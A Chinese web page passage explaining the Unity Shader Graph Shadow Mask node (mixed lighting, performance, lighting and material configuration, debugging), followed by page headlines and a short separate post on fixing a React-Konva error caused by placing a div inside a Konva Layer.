在混合光照场景中,既有烘焙的静态光照,也有实时的动态光照,Shadow Mask 节点可以帮助统一这两种光照系统的阴影表现。通过将烘焙阴影与实时阴影结合,可以创建出既高效又视觉丰富的照明环境。
例如,在一个室内场景中,来自窗户的自然光可以通过光照烘焙处理为静态阴影,而角色手中的手电筒则可以产生实时阴影。Shadow Mask 节点负责处理静态阴影部分,而实时阴影则通过其他技术实现,两者结合创造出连贯的视觉体验。
性能优化
对于性能敏感的平台如移动设备或VR应用,Shadow Mask 节点是优化阴影渲染的重要工具。通过将昂贵的实时阴影计算转换为廉价的纹理采样,可以显著提高渲染性能,同时保持可接受的视觉质量。
在优化过程中,开发者需要注意 ShadowMask 纹理的分辨率和压缩设置。过高的分辨率会增加内存占用和带宽使用,而过低的分辨率则可能导致阴影质量下降。需要根据目标平台的性能和视觉要求找到合适的平衡点。
Shadow Mask 节点的配置与最佳实践
要充分发挥 Shadow Mask 节点的潜力,开发者需要了解其配置方法和最佳实践。
光照设置配置
在使用 Shadow Mask 节点前,需要在 Unity 的光照窗口中正确配置 ShadowMask 模式:
- 打开光照窗口(Window > Rendering > Lighting)
- 在光照设置中,找到 Shadowmask 模式选项
- 选择 Shadowmask 模式而非 Distance Shadowmask 或其他模式
- 设置合适的 Shadowmask 分辨率和其他烘焙参数
正确的光照设置是 Shadow Mask 节点正常工作的前提。如果设置不正确,可能会导致 ShadowMask 纹理无法生成或生成质量不佳。
材质和着色器配置
在 Shader Graph 中使用 Shadow Mask 节点时,需要确保材质的相关属性正确设置:
- 确保材质使用了支持光照贴图的着色器
- 检查材质的渲染队列和混合模式是否与 ShadowMask 技术兼容
- 对于透明或半透明材质,可能需要特殊的处理方式来正确混合阴影
性能考量
在使用 Shadow Mask 节点时,需要考虑以下性能因素:
- ShadowMask 纹理的内存占用:高分辨率的 ShadowMask 纹理会占用更多内存,需要根据目标平台的能力进行权衡
- 纹理采样开销:每个使用 Shadow Mask 节点的材质都会增加纹理采样操作,在性能受限的平台上需要控制使用数量
- 烘焙时间:高质量的 ShadowMask 烘焙需要较长的计算时间,在开发过程中需要平衡烘焙质量与迭代速度
调试和问题排查
当 Shadow Mask 节点不按预期工作时,可以采取以下调试步骤:
- 检查光照烘焙是否成功完成,查看控制台是否有相关错误或警告
- 使用帧调试器(Frame Debugger)检查 ShadowMask 纹理是否正确绑定和采样
- 验证网格的第二套 UV 坐标是否正确生成,没有重叠或扭曲
- 检查光照设置中的 Shadowmask 模式是否正确配置
通过系统性的调试,可以快速定位并解决 Shadow Mask 节点相关的问题,确保阴影效果正确呈现。
【Unity Shader Graph 使用与特效实现】专栏-直达 (欢迎点赞留言探讨,更多人加入进来能更加完善这个探索的过程,🙏)
2026春节档观影人次破亿
印度贸易代表团推迟访美
春运过半 全国铁路累计发送旅客2.58亿人次
关于React-Konva 报:Text components are not supported....错误的问题
完整错误信息:Text components are not supported for now in ReactKonva. You text is: "xxxxx"
这个问题常出现的主要原因是,我在konva得组件里注入非konva的组件。
错误示例:
import {Stage,Layer,React,Circle} from "react-konva"
<Stage width={window.innerWidth } height={window.innerHeight}>
<Layer>
<div>
<Rect/>
<Circle/>
</div>
</Layer>
</Stage>
其中,div就是非konva的组件。
把div去掉就好啦